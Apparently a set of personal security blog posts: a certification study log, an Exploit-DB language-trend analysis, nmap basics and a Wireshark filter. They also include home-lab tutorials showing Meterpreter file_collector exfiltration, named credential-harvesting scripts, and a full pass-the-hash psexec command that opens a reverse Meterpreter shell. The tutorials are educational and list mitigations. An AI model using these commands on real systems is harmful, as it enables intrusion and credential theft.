Study plan for the next few months - Updated June 2011

I am about to embark on a full time IT Security study program for the next few months.

It's a syllabus of my own design. (There aren't really any university or college courses that I could attend, which cover the areas I want to study and research).

Over the last year I certified for CISSP, CISM  and OSWP (and got about halfway through PwB, + completed ITIL V3 Foundation and Prince2 Practitioner) - My next plans are a continuation of that study, but now really focusing-in on Pentesting and Ethical Hacking, and studying full time...!

I feel this is a big step for me, and a journey of thousand miles starts with a single big step (which I have already taken)

Phase one

In the first one or two months I will be focused on finishing PwB "OSCP", and passing the CISA exam + logging some more credits to renew my CISSP and CISM certifications. (My CISA exam is booked for Saturday 11th of December).

• Update 07/11/10 - I have booked more PwB hacking lab-time starting on the 20th November, and working my way through my CISA study guide/book
• Update 13/11/10 - Renewed my CISSP for another year
• Update 04/12/10 - Completed 2 weeks of PwB lab-time, wrote several blogs during this time on tools and techniques
• Update 09/12/10 - Continuing CISA study, passed several practice exams for CISA
• Update 11/12/10 - Took CISA exam
• Update 13/12/10 - Finished Security+ course 
• Update 16/12/10 - Earned 21 hours of ISACA CPE credits this week by watching eSymposiums and passing online tests. Renewed membership of ISACA to continue my current CISM certification. Booked 30 days more PwB labtime
• Update 16/12/10 - Completed 30 days PwB lab-time - More network access gained and many more machines pwned
• Update 31/01/11 - Found out I passed the CISA exam
• Update 10/02/11 - Booked PwB exam
• Update 21/03/11 - Finished updating OSCP documentation
• Update 10-11/04/11 - Passed OCSP - First time!

Phase two

My plan is then to proceed straight to CTP (Do not pass go, do not collect $200), pass the CEH and Security+ exams, and, maybe, finally get around to certifying for CCNA.

• Update 13/11/10 - Passed hacking challenge to register for the CTP course, and got registration code for CEH exam
• Update 09/12/10 - Booked exams for Security+ (11th Jan) and CEH (18th Jan)
• Update 13/12/10 - Completed Security+ course. Signed up for CTP course starting 23rd of Jan
• Update 14/12/10 - Completed Python course
• Update 30/12/10 - Completed C programming course
• Update 05/01/11 - Completed MySQL 5 course
• Update 11/01/11 - Passed Security+ exam (Too easy)
• Update 16/01/11 - Finished CEH review book
• Update 18/01/11 - Passed CEH exam
• Update 19/01/11 - Reviewing Metasploit Megaprimer
• Update 23/01/11 - Started CTP course
• Update 08/02/11 - Completed CTP material, started reverse-engineering course
• Update 10/02/11 - Completed vtc.com CCNA course, and started reviewing CCNA books
• Update 16/03/11 - Completed vtc.com Linux Security course
• Update 06/04/11 - Completed Linux Professional Institute Certification Level 1 2009 course
• Update 24/04/11 - Completed vtc.com ICND 1 course, booked CCNA exam

Phase three

Further study (Possibly a SANS course, not sure which at this stage, and will be subject to available funds, maybe a CREST course or certification) and exploit development/mitigation research TBD...

• Update 15/01/11 - Started reviewing GPEN material
  
• Update 22/03/11 - Finished reviewing GPEN material
• Update 13/04/11 - Started research project 1
• Currently studying SANS 542 Web application attacks

 
I'm pretty much done now, and I won't be updating this blog entry further.
(I'll start another one if I need to)

and then... the future is uncertain...
(Which is always true ;o)

In tandem and supporting the above

Phases one to three will be intermingled with a sprinkling of various courses from http://www.vtc.com/, ad hoc, to support my weaker areas (VTC is a bargain online training service, at around $30 per month) I feel I need to beef-up my programming skills, especially for exploit development and research. If I can squeeze in the odd MCP then that's a bonus.

MySQL
Microsoft Transact SQL
Perl Fundamentals * Started
Microsoft ASP.NET
ASP Scripting
PHP Programming: The Basics
CompTIA Security+ Certification * Completed
Cisco CCNA 640-801 * Completed
Introduction to computer forensics * Started
Linux Security * Completed
C Programming 2007 * Completed
Redhat Certified Technician * Started
Programming With Ruby
C++ fundamentals
Microsoft Windows Vista Security  * Started
Microsoft Windows Server 2008  * Started
Advanced C Programming
Assembly Language Programming  * Started
Microsoft Windows 7
Using Security Tools  * Started
CompTIA Linux+ * Started
Linux Professional Institute Cert Level 1  * Started
Microsoft ASP.NET 3.5
Microsoft SQL Server 2008 Development 
Mac OS X Snow Leopard  * Started
Microsoft Server 2008 Server Administrator
QuickStart! - MySQL 5 * Completed
QuickStart! - Python * Completed


Also, keeping up to speed with emerging threats for which http://www.securitytube.net/ is a great site!

...plus some light bed-time reading, to fill my spare time:

CISA practice questions book * completed

Gray hat hacking * completed

Teach yourself PHP MySQL and Apache

Hacking exposed 6 - Great fun! * completed

The Web Application Hackers Handbook * completed

Python in a nutshell - bought on ebay for a few quid, bargain

C for Linux programming - as above, bargain * 30% completed

CISA study guide * completed
Certified Ethical hacker review guide * completed

7 x CCNA books I got on eBay * started reviewing

I think my schedule is full, maybe too full?

Wish me luck ;o)

Language trends in exploit development

The exploit database in Backtrack 4 currently holds over 13,000 exploits, from the present back to 1996.

As I am keenly interested in this area, I was interested to see what languages have been used for exploit development, and how these have changed over time.

Here I have documented some very basic analysis (using bash commands, and open office) to look at the languages used in exploit development, and try to see if there are any trends that can be seen over the period that the database has been collected.

Please note, this analysis took around 2 hours (such is the power of the bash shell) though this is a brief amount of time, and as such may contain the odd schoolboy error ;o)

If you are not interested in my workings, by all means skip to the pretty graphs at the bottom.

Initial trend by year

The exploitdb has an index file; files.csv, which contains comma delimited information on each exploit in  the database, and this is the data I am going to be using for my analysis. The fields are as follows:

1,platforms/windows/remote/1.c,"MS Windows WebDAV (ntdll.dll) Remote Exploit",2003-03-23,kralor,windows,remote,80

....

14405,platforms/php/webapps/14405.txt,"PHP-Fusion Remote Command Execution Vulnerability",2010-07-18,"ViRuS Qalaa",php,webapps,0

The csv format is structured as; number, file, title, date, author, platform, type, port

So, to look at the number of entries for 2005 we can use the following bash expression:

cat files.csv | cut -d"," -f4 | grep 2005 | wc -l
655

(Here we read the file, take the fourth field only, and count the number of lines containing the expression "2005")

Let's recursively look at the number of exploits in the database for each year using a "for loop" on the command line:

for year in $(seq 1996 2010); do echo -ne "$year = "; cat files.csv | cut -d"," -f4 | grep $year | wc -l; done
1996 = 7
1997 = 13
1998 = 0
1999 = 1
2000 = 63
2001 = 55
2002 = 17
2003 = 142
2004 = 407
2005 = 655
2006 = 1783
2007 = 1954
2008 = 3217
2009 = 3161
2010 = 2295

So we are definitely seeing some up-tick there over time ;o) and I am interested in looking at trends in the languages used for exploit development in this database.

Languages used

This part is not so easy, but I am going to use some very basic checks using the file extension in the filename (which is certainly unreliable for Linux, but an interesting first look)

Let's see what file extensions we do have, and in what proportion for the whole database:

So we need the second field, cut of the extension after the dot, and sort for unique entries

cat files.csv | cut -d"," -f2 | cut -d"." -f2 | sort -u

Which returned several odd items, not worth putting here. Interesting results though, with perhaps some typos in the database (? I will investigate these later).

Anyway, just use the ones that are identifiably "languages", make a list of them, and then look at the total usage for the database.

Here is the list I am going for:

for lang in $(cat langs.txt); do echo -ne "$lang = "; cat files.csv | cut -d"," -f2 | cut -d"." -f2 | grep $lang$ | wc -l ; done
asm = 25
asp = 14
bat = 1
c = 1512
cgi = 2
cpp = 120
cs = 1
delphi = 1
htm = 124
html = 595
jar = 2
java = 4
js = 4
ksh = 1
php = 785
pl = 1784
py = 608
rb = 192
sh = 99
sql = 10
vbs = 2

Note: the second $ in "grep $lang$" is quite important because "c", for example, appears in other extensions

So, let's take the significant ones (anything above 10) and look into those more:

for lang in $(cat toplangs.txt); do echo -ne "$lang = "; cat files.csv | cut -d"," -f2 | cut -d"." -f2 | grep $lang$ | wc -l ; done
asm = 25
asp = 14
c = 1512
cpp = 120
htm = 124
html = 595
php = 785
pl = 1784
py = 608
rb = 192
sh = 99
sql = 10

Looking at the total usage (based on file extension)

...and usage over the past couple of years:

As you can see, Perl seems to be a clear winner, though Python is definitely on the rise, and seems due to overtake at some point.


Looking at language trends over a period of 15 years

To get just the extensions and dates we can use:

cat files.csv | cut -d"," -f2,4 | cut -d"." -f2

For each year, and for each language, I want to grep for the year/language combination and count the result:

for year in $(seq 1996 2010); do echo "For year $year"; for lang in $(cat toplangs.txt); do echo -ne "$lang = "; cat files.csv | cut -d"," -f2,4 | cut -d"." -f2 | grep $year | grep $lang, | wc -l ; done ; done

Blah, blah, blah...
...
For year 2010
asm = 4
asp = 0
c = 101
cpp = 3
htm = 0
html = 108
php = 43
pl = 174
py = 164
rb = 34
sh = 6
sql = 0

Which resulted in an interesting graph:

Which languages should I learn?

So, based on these results, if you are interested in Ethical Hacking, (exploit development and analysis) and you want to learn a programming language in order to do this, then based on these results, I would recommend the following (in this order):

1. Perl
2. Python
3. C

Also, as web application hacking is a huge part of exploit development these days, it's definitely worth studying PHP, ASP, Javascript, and some SQL too.

Post-exploitation: Downloading files from a victim with Metasploit Meterpreter scripts

Imagine you have compromised a target system as part of a Penetration test. Additionally, as part of the pen-test you need to download some files, both as proof of the compromise, and also to use the collected data from this system to assist in further exploitation of other systems.

Here I discuss options for how files can be downloaded using the Metasploit Meterpreter console, and using Meterpreter scripts to speed up the process.

I must emphasize that these techniques should only be used for legitimate purposes, either on a test network, or for penetration testing where you have written permission from the data owner.

You are heir to your actions, make sure that everything you do is ethical, and use these techniques for good purposes.

We will skip the exploitation phase in these examples, to focus on the post-exploitation and data collection aspects.

So, we have exploited a system, and find ourselves at friendly Meterpreter console prompt.

The Meterpreter shell has a lot of neat features, including encryption of all the traffic between our attacking system and target. This prevents any interception and scanning of the data from intrusion detection systems (IDS).

Downloading individual files:

From the Meterpreter console it is possible to download individual files using the "download" command. Which is pretty straightforward and easy if you only want to download one file.

Meterpreter has a lot of useful inbuilt scripts to make post exploitation tasks such as data collection easier. To view the options, simply type "run" and then space-tab-tab to see the auto-completion options:

Let's look at "run file_collector" first:

In the example below, I wanted to copy all the data from the E: drive of a Windows target, with the exception of a couple of directories that I am not interested in.
(In this actual example I am copying some files from a "Teach yourself C for Linux in 21 days" CD which is in the drive on the target system, onto my attacking system ;o)

To view the "run file_collector" options, use "-h"

meterpreter > run file_collector -h
Meterpreter Script for searching and downloading files that
match a specific pattern. First save files to a file, edit and
use that same file to download the choosen files.

OPTIONS:

    -d   Directory to start search on, search will be recursive.
    -f   Search blobs separated by a |.
    -h        Help menu.
    -i   Input file with list of files to download, one per line.
    -l   Location where to save the files.
    -o   Output File to save the full path of files found.
    -r        Search subdirectories.


meterpreter >

As you can see in the description, this is a three stage process. First, we create a file list, then we remove any files we don't want from the list, then we execute the download process.

Creating the file list

run file_collector -r -d e:\\ -f * -o /root/Courses/CforLinux/file.txt

We are running the collector recursively, looking for all files on the E: drive, and storing a list of these files in a "file.txt" file on my attacking system.

As Meterpreter copies files over an encrypted connection, this can make the data transfer slower, so best to strip out any unneeded files.





Editing the file list

I don't need some of the directories on the target data drive, so I use grep to remove these, and make a new file "file.lst".

cat /root/Courses/CforLinux/file.txt | grep -v \DDD | grep -v \GCC | grep -v \GDB | grep -v \MAKE > file.lst2

(I am removing the \DDD \GCC \GDB \MAKE directories, which is not particularly relevant to you, just an example. I am chopping two carrots with one knife here, as this was useful to me at the time ;o)



Downloading the file list

Once we have the edited file list we can simply start the file download process with the following command:

run file_collector -i /root/Courses/CforLinux/file.lst -l /root/Courses/CforLinux/
 

There we go, and that was a very quick way to download all the files I needed.

Other scripts for data collection

There are a whole host of data collection scripts that you can try, including the following:

scraper, credcollect, get_filezilla_creds, dumplinks, get_pidgin_creds, enum_chrome, enum_firefox, enum_putty, winenum

...and if you are feeling adventurous you could create your own scripts. (Maybe a blog for another time)

Mitigations

• There aren't really any mitigations for these examples. If the exploitation has got this far, it is basically game-over.
• Deploying a layered security program, using "Defense in depth" can reduce the risk of the initial exploitation.

Beginner level: Nmap examples (basic nmap examples)

This short blog discusses a few nmap command examples for those learning the basics of port-scanning and network reconnaissance.

Nmap is a very powerful and flexible tool, and using it effectively is an important skill for any IT Security Professional or Network Administrator.

Please remember to use these examples for good purposes. I do not condone or recommend breaking the law or unethical practices.

The basic portscan

In its most basic form, nmap is really easy to use. If you have a target IP address, and you want to know what common ports are open; here is the most basic nmap example:

nmap 192.168.1.76

Starting Nmap 5.30BETA1 ( http://nmap.org ) at 2010-08-02 22:29 BST

Nmap scan report for lin-desktop.lan (192.168.1.76)
Host is up (0.000039s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 4.62 seconds

So, looking at the results, we can see that this system has FTP (port 21 TCP), SSH (port 22 TCP) and HTTP (port 80 TCP) all responding. A pretty straight forward nmap example.

Hidden hosts

Let's look at a system that does not want to play ball. This system has a built-in firewall and does not respond to the initial ICMP ping, so the system is ignored by a default nmap scan.

nmap 192.168.1.254

Starting Nmap 5.30BETA1 ( http://nmap.org ) at 2010-08-02 22:25 BST

Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn

Nmap done: 1 IP address (0 hosts up) scanned in 0.68 seconds

So we got no results in this example, but if the initial ICMP test was ignored (using the -P0 option) the scan will proceed, and still yield good results, so definitely worth bearing this option in mind.

nmap -P0 192.168.1.254

Starting Nmap 5.30BETA1 ( http://nmap.org ) at 2010-08-02 22:25 BST

Nmap scan report for dsldevice.lan (192.168.1.254)

Host is up (0.0085s latency).

Not shown: 995 filtered ports

PORT     STATE SERVICE

21/tcp   open  ftp

23/tcp   open  telnet

80/tcp   open  http

443/tcp  open  https

1723/tcp open  pptp

MAC Address: 00:0E:50:EC:B2:A6 (Thomson Telecom Belgium)

Nmap done: 1 IP address (1 host up) scanned in 13.56 seconds

Scanning a certain port across multiple machines

What if you wanted to scan the same port on several systems. In this example we scan all systems in the range from 192.168.1.1 to 192.168.1.254 for port 80

nmap -p 80 192.168.1.1-254

Starting Nmap 5.35DC1 ( http://nmap.org ) at 2010-10-10 17:23 UTC
Nmap scan report for laptop.lan (192.168.1.65)
Host is up (0.00013s latency).
PORT   STATE SERVICE
80/tcp open  http

Nmap scan report for desktop.lan (192.168.1.66)
Host is up (0.021s latency).
PORT   STATE    SERVICE
80/tcp filtered http
MAC Address: 70:1A:04:AC:BD:FC (Liteon Tech)

Nmap done: 254 IP addresses (2 hosts up) scanned in 5.30 seconds

We detected 2 hosts here. Notice the difference when we include the -P0 option, it detects more hosts:

nmap -P0 -p 80 192.168.1.1-254

Starting Nmap 5.35DC1 ( http://nmap.org ) at 2010-10-10 17:25 UTCNmap scan report for laptop.lan (192.168.1.65)
Host is up (0.00013s latency).
PORT   STATE SERVICE
80/tcp open  http

Nmap scan report for desktop.lan (192.168.1.66)
Host is up (0.021s latency).
PORT   STATE    SERVICE
80/tcp filtered http
MAC Address: 70:1A:04:AC:BD:FC (Liteon Tech)

Nmap scan report for dsldevice.lan (192.168.1.254)
Host is up (0.033s latency).
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 00:0E:50:EC:B2:A6 (Thomson Telecom Belgium)

Nmap done: 254 IP addresses (3 hosts up) scanned in 5.47 seconds

Banner grabbing and versioning

nmap can grab banners to identify the versions of services running, using the -sV option. This shows us which services are running and the various versions (highlighted in green)

nmap -P0 -sV 192.168.1.254

Starting Nmap 5.35DC1 ( http://nmap.org ) at 2010-10-10 17:34 UTC
Stats: 0:00:43 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 80.00% done; ETC: 17:35 (0:00:10 remaining)
Nmap scan report for dsldevice.lan (192.168.1.254)
Host is up (0.0035s latency).
Not shown: 995 filtered ports
PORT     STATE SERVICE  VERSION
21/tcp   open  ftp      Alcatel Speedtouch aDSL router ftpd
23/tcp   open  telnet   Alcatel/Thomson SpeedTouch DSL router admin interface
80/tcp   open  http     Alcatel/Thomson SpeedTouch aDSL http config 1.0
443/tcp  open  ssl/http Alcatel/Thomson SpeedTouch aDSL http config 1.0
1723/tcp open  pptp     THOMSON (Firmware: 1)
MAC Address: 00:0E:50:EC:B2:A6 (Thomson Telecom Belgium)
Service Info: Host: SpeedTouch; Device: broadband router

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.83 seconds

OS detection

The -O option can be used to identify operating systems versions from various signature patterns. OS guesses are highlighted in green below.

nmap -O 192.168.1.66

Starting Nmap 5.35DC1 ( http://nmap.org ) at 2010-10-10 17:39 UTC
Nmap scan report for desktop.lan (192.168.1.66)
Host is up (0.0074s latency).
Not shown: 992 filtered ports
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
554/tcp   open  rtsp
2869/tcp  open  icslap
5357/tcp  open  unknown
10243/tcp open  unknown
49156/tcp open  unknown
MAC Address: 70:1A:04:AC:BD:FC (Liteon Tech)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows Vista|2008|7
OS details: Microsoft Windows Vista SP0 or SP1, Server 2008 SP1, or Windows 7
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.23 seconds

zenmap

If you are new to network scanning, then you may want to start getting familiar with nmap by using zenmap. Zenmap is a graphical tool which can be used to drive nmap, with various preconfigured scans, and some other cool graphical features which can help you to visualise a network:

This tool can help you to quickly get familiar with various nmap command line options, and save your scans for later analysis.

More details and downloads are available at the following location:
http://nmap.org/download.html

Hacking techniques: Pass the hash (PTH) with Metasploit

This article describes how to use Metasploit to attack and compromise systems by reusing captured password hashes - using the "Pass the hash" (PTH) technique.

These techniques should only be used for legitimate and legal purposes, i.e. for penetration testing, education and research.

When a system is compromised with a Administrative or System level of access, an attacker will often take a copy of the password hashes for off-line hash-cracking. There are multiple reasons for doing this, but especially because of password reuse.

During a penetration test, it may be useful to demonstrate that password reuse and "single sign-on" could be a huge weakness in an enterprise. If one system is compromised, and the password hashes cracked, then all systems that have the same passwords may be easily accessible.

However, what if the passwords that have been chosen were very strong, and are not crackable in a realistic time-frame?

For Windows systems, all is not lost from an attacker's perspective, because even if the hashes are not crackable, these same password hashes can be used for authentication, either to the same previously compromised system (for easy access) or to other systems that share the same password.

Imagine that during a pen-test you have compromised a Windows system using some kind of exploit and obtained a system level shell or Meterpreter session. From here it would be relatively simple to upload a tool or use Meterpreter to extract the local password hashes.

From these hashes, there may be several useful accounts where you may want to gain the password. For example:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:7d3f11711c610f013c06959a5e98f2fd:::

From this extracted hash, we can see that the LM hash portion is blank (aad3b435b51404ee is repeated twice in the first hash) and this suggests a strong password is in use.

Having found that the NTLM hash is not crackable in a reasonable time, by brute force or rainbow tables, we may abandon cracking the hash as unfeasible. However, we could reuse the password hash "as is" to re-authenticate to the Windows system using SMB.

Metasploit has a cool tool "exploit/windows/smb/psexec" which authenticates using SMB, uploads and runs a payload. In the following example we use Meterpreter as the payload:

/pentest/exploits/framework3/msfcli exploit/windows/smb/psexec PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.32 LPORT=443 RHOST=192.168.1.20 SMBUser=Administrator SMBPass=aad3b435b51404eeaad3b435b51404ee:7d3f11711c610f013c06959a5e98f2fd E 

[*] Please wait while we load the module tree... 
[*] Started reverse handler on 192.168.1.32:443 
[*] Connecting to the server... 
[*] Authenticating as user 'Administrator'... 
[*] Uploading payload... 
[*] Created \CpdYVAFa.exe... 
[*] Binding to 367abb81-9844-35f1 ad32-98f038001003:2.0@ncacn_np:192.168.1.20[\svcctl] ... 
[*] Bound to 367abb81-9844-35f1 ad32-98f038001003:2.0@ncacn_np:192.168.1.20[\svcctl] ... 
[*] Obtaining a service manager handle... 
[*] Creating a new service (eHIqItmA - "MhEHHIQNUFjnuuJarbnQlnIjpA")... 
[*] Closing service handle... 
[*] Opening service... 
[*] Starting the service... 
[*] Removing the service... 
[*] Sending stage (748544 bytes) to 192.168.1.20 
[*] Closing service handle... 
[*] Deleting \CpdYVAFa.exe... 
[*] Meterpreter session 1 opened (192.168.1.32:443 -> 192.168.1.20:1090)

meterpreter >

So there we go, we have regained Administrative access to the system again, simply by reusing the password hash.

This attack could now be used against any system that has an account with the same password (and port 445 open).

This shows that it is not a good idea to reuse administrator passwords in corporate environments. Imagine you roll-out 2000 desktops, all with the same "strong" local Administrator password. If the hash is either sniffed off the network, or obtained from a single compromised system, then all these desktops are at risk from direct exploitation using this technique.

It may be, that the CEO, CFO and HR Directors PCs all have the same local Administrator password as any other machine on the network. In which case, if any machines are compromised on the network, it puts all these systems (and any data on these systems) at risk from a trivial exploit.

Mitigations are defense-in-depth strategies such as:

• Choosing strong and unique Administrator passwords
• Intrusion detection and Network monitoring tools
• Network segmentation
• On-box firewalls

A Wireshark capture filter for HTTP 503 errors

Using Wireshark capture filters to track down specific HTTP error codes on a web server.

Wireshark is an excellent tool, and capture filters can be quite daunting, but they can also be very powerful and useful.

Recently I was helping to troubleshoot some HTTP 503 error codes which were happening on an couple of IIS servers. These systems were handling over a million requests per day between the two systems, and intermittently responding with 503 errors for a small percentage of requests.

It was difficult for us to find any reason for these errors, and unfortunately, IIS does not log 503 errors (as far as we could see) so we could not tell how many were occurring, when they were occurring, or if there were any other associated patterns. We really needed to log the 503 errors, so that we could continue to troubleshoot and perform some configuration optimization.

Just leaving Wireshark running and capturing all requests and responses for 24 hours+ was not a good option, because of the additional load, and data logged. We wanted to come up with a special Wireshark filter, to capture and record only the 503 errors over a longer period of time, so that we could do more analysis and fix the problem.

I remembered a recent course I studied which pointed to some capture filtering that could be done to find HTTP GET requests. More detail here http://wiki.wireshark.org/CaptureFilters

"Capture HTTP GET requests. This looks for the bytes 'G', 'E', 'T', and ' ' (hex values 47, 45, 54, and 20) just after the TCP header. "tcp[12:1] & 0xf0) >> 2" figures out the TCP header length. port 80 and tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420"
 
This is pretty clever stuff, but I figured I could extend this filter to look for 503 responses.

Capture filters are more difficult than display filters in Wireshark.

• With display filters you can easily just right-click on a relevant node you want to filter on, and "Apply as filter".
• Capture filters are a lot more manual to configure, and they are more time-consuming to tweak and get working correctly.

So, to capture the errors we were investigating, I wanted to look for the sequence "HTTP/1.1 503" after the TCP header, and with a bit of hacking I came up with the following capture which works great!

port 80 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x48545450) and (tcp[((tcp[12:1] & 0xf0) >> 2)+4:4] = 0x2f312e31) and (tcp[((tcp[12:1] & 0xf0) >> 2)+8:4] = 0x20353033)

This filter can easily be adjusted to look for other error codes such as 500, 404 etc, simply by changing the last three hex characters ("353033")
 
So for example to look for 500 error codes:
 
port 80 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x48545450) and (tcp[((tcp[12:1] & 0xf0) >> 2)+4:4] = 0x2f312e31) and (tcp[((tcp[12:1] & 0xf0) >> 2)+8:4] = 0x20353030)

This filter was so useful in tracking down our problem, that I thought I would share it with the web.

The lesson to be learned here, is do not fear the apparent complexity of Wireshark capture filters. Take an example, and tweak it until you get the result that you are looking for.

Let me know if you find this useful.